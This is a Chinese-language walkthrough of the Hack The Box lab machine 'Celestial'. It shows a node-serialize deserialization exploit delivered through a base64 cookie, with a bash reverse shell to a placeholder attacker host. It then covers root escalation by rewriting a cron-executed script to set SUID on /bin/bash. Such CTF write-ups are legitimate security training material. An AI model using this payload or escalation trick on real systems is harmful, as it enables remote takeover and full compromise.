HTB Celestial
字数 958 2025-08-12 11:34:14
HTB Celestial 渗透测试教学文档
目标概述
Celestial 是一个基于 Node.js Express 框架的 HTB 靶机,存在反序列化漏洞和定时任务提权路径。
信息收集阶段
端口扫描
使用 nmap 扫描发现开放端口:
- 3000 端口运行着 Node.js Express 应用
Web 应用分析
访问 http://<target_ip>:3000 返回 404 页面,但响应头中包含重要信息:
HTTP/1.1 200 OK
X-Powered-By: Express
Set-Cookie: profile=eyJ1c2VybmFtZSI6IkR1bW15IiwiY291bnRyeSI6IklkWJseSBTb21ld2hlcmUgRHVtYiIsImNpdHkiOiJMYW1ldG93biIsIm51bSI6IjIifQ%3D%3D; Max-Age=900; Path=/; Expires=Fri, 19 Aug 2022 14:56:36 GMT; HttpOnly
Content-Type: text/html; charset=utf-8
Cookie 分析
解码 Base64 cookie 值:
{
"username": "Dummy",
"country": "Idk Probably Somewhere Dumb",
"city": "Lametown",
"num": "2"
}
漏洞利用
Node.js 反序列化漏洞
- 当携带 cookie 访问时,应用会回显 "Hey [username] 2 + 2 is 22"
- 修改 username 字段会导致回显变化,表明存在反序列化漏洞
构造恶意 payload
使用 node-serialize 模块构造反序列化 payload:
var serialize = require('node-serialize');
var payload = {
rce: function() {
require('child_process').exec("bash -c 'bash -i >& /dev/tcp/<attacker_ip>/<port> 0>&1'",
function(error, stdout, stderr) { console.log(stdout) });
}
};
// 序列化 payload 并添加执行括号
var serialized = serialize.serialize(payload);
serialized.rce = serialized.rce + "()";
// 构造最终 cookie
var cookiePayload = {
username: serialized,
country: "Idk Probably Somewhere Dumb",
city: "Lametown",
num: "2"
};
var finalPayload = Buffer.from(JSON.stringify(cookiePayload)).toString('base64');
console.log(finalPayload);
发送 payload
使用 Burp Repeater 发送带有恶意 cookie 的请求:
GET / HTTP/1.1
Host: <target_ip>:3000
Cookie: profile=<base64_payload>
获取初始访问
成功执行 payload 后会获得反向 shell,用户为 sun
权限提升
发现定时任务
使用 pspy64 工具发现 root 每 5 分钟执行以下命令:
python /home/sun/Documents/script.py > /home/sun/output.txt
cp /root/script.py /home/sun/Documents/script.py
chown sun:sun /home/sun/Documents/script.py
chattr -i /home/sun/Documents/script.py
touch -d "$(date -R -r /home/sun/Documents/user.txt)" /home/sun/Documents/script.py
利用定时任务
-
检查
/home/sun/Documents/script.py权限:ls -l输出:
-rw-rw-r-- 1 sun sun 29 Sep 21 2017 script.py -rw-rw-r-- 1 sun sun 33 Sep 21 2017 user.txt -
修改 script.py 内容为任意命令,例如:
import os os.system('chmod +s /bin/bash') -
等待 5 分钟后,root 会执行该脚本,赋予 bash SUID 权限
-
执行
/bin/bash -p获取 root shell
获取标志
- 用户标志:
/home/sun/Documents/user.txt - root 标志:
/root/root.txt
替代提权方法
如果上述方法不可行,可以尝试:
- 检查内核版本:
uname -a - 搜索已知内核漏洞(如 CVE-2021-4034)
- 编译并执行相应 exploit 获取 root 权限
总结
该靶机展示了:
- Node.js 反序列化漏洞的利用
- 通过定时任务进行权限提升
- 系统配置不当导致的提权路径
关键点:
- 仔细分析所有 HTTP 响应头
- Base64 解码和编码是常见操作
- 定时任务是常见的提权路径
- 保持对文件权限和所有权的关注